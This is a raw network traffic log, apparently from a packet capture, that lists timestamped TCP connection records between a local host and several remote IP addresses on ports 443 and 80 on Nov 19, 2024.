Nov 19, 2024 01:01:21.190702915 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.191001892 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.191081047 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.191160917 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.191174984 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.191196918 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.191203117 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.194199085 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.194293976 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.194391012 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.194607019 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.194642067 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.224780083 CET	443	49704	173.222.162.64	192.168.2.6
Nov 19, 2024 01:01:21.224853992 CET	49704	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:21.344046116 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.344561100 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.344575882 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.345072031 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.345076084 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.416271925 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.417006969 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.417062044 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.417624950 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.417654037 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.483865976 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.484014034 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.484076977 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.484201908 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.484217882 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.484226942 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.484231949 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.487821102 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.487855911 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.487929106 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.488130093 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.488142014 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.504373074 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.504771948 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.504781961 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.505604982 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.505609035 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.558572054 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.558653116 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.558708906 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.558876991 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.558926105 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.558959961 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.558974028 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.562613964 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.562654972 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.562728882 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.562946081 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:21.562964916 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.720602036 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.720659971 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.720721006 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.720942974 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.720957994 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.720972061 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.720977068 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.723807096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:22.723893881 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:22.724114895 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.724157095 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.724211931 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.725951910 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:22.725999117 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:22.727924109 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:22.727973938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:22.728013039 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.730981112 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:22.731029034 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:22.770612001 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.771661043 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.771681070 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.772020102 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.772025108 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.772506952 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.772511005 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.871221066 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.873018980 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.878781080 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.907980919 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.908128023 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:22.908210993 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.911267042 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.926861048 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:22.928255081 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.134147882 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.134175062 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.150412083 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.150424004 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.150618076 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.150635004 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.150645971 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.150650978 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.160454988 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.160487890 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.160845995 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.160851955 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.161052942 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.161062956 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.161413908 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.161417961 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.285720110 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.285835028 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.285890102 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.298882008 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.298934937 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.298983097 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.299031973 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.299310923 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.299357891 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.308228970 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.308248043 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.308309078 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.309338093 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.309353113 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.309519053 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.309539080 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.309550047 CET	49750	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.309555054 CET	443	49750	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.310412884 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.310425997 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.310436010 CET	49751	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.310441017 CET	443	49751	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.312302113 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.312340021 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.312397003 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.312541008 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.312557936 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.312670946 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.312670946 CET	49749	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.312676907 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.312684059 CET	443	49749	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.353424072 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.353435993 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.353507042 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.359364033 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.359370947 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.360555887 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.360596895 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.360658884 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.360938072 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.360956907 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.366086960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.370995998 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.522835016 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.523679972 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.523703098 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.524184942 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.524190903 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.646893024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.646953106 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.646959066 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.646987915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647015095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647025108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647027969 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647072077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647362947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647392988 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647422075 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647443056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647633076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647696972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647721052 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647741079 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647748947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647783995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.647805929 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.647842884 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.648669958 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.648739100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.648739100 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.648780107 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.648783922 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.648823023 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.666594982 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.666697025 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.666753054 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.667203903 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.667216063 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.667229891 CET	49752	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.667236090 CET	443	49752	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.671886921 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.671909094 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.671972990 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.672235012 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:23.672249079 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:23.802242041 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802283049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802297115 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802313089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802313089 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.802330017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802344084 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.802372932 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.802769899 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802787066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802820921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.802823067 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802838087 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.802840948 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802865028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.802867889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.802891016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.802910089 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.803745985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.803795099 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.803797007 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.803812027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.803829908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.803847075 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.803873062 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.804404974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.804433107 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.804449081 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.804471016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.804502010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.804517984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.804522991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.804539919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.804575920 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.805450916 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.805479050 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.805495024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.805495977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.805511951 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.805521011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.805531025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.805548906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.805561066 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.805579901 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958014965 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958127975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958143950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958159924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958190918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958230972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958239079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958255053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958271027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958291054 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958309889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958710909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958765030 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958795071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958811045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958827019 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958834887 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958843946 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.958851099 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.958875895 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.959268093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959291935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959309101 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959326982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.959342003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959357977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959357023 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.959374905 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959389925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959393024 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.959407091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.959434986 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.959465981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960206032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960249901 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960264921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960268021 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960288048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960290909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960306883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960309982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960330009 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960350990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960367918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960381985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960397959 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.960403919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960424900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.960444927 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.961241007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961256981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961271048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961307049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.961318016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.961333990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961349010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961370945 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961374998 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.961386919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961405039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.961410046 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.961441040 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.962186098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962201118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962217093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962241888 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.962244034 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962259054 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962270975 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.962276936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962292910 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962294102 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.962310076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.962313890 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.962348938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.963166952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.963181019 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:23.963219881 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:23.963238955 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.108506918 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.109118938 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.109124899 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.109687090 CET	49754	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.109690905 CET	443	49754	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.114383936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114480019 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114554882 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114569902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114595890 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114609003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114613056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114629030 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114649057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114659071 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114665031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114682913 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114701033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114732981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114738941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114778042 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114789963 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114813089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114840031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.114852905 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114867926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.114881039 CET	49736	80	192.168.2.6	185.215.113.206
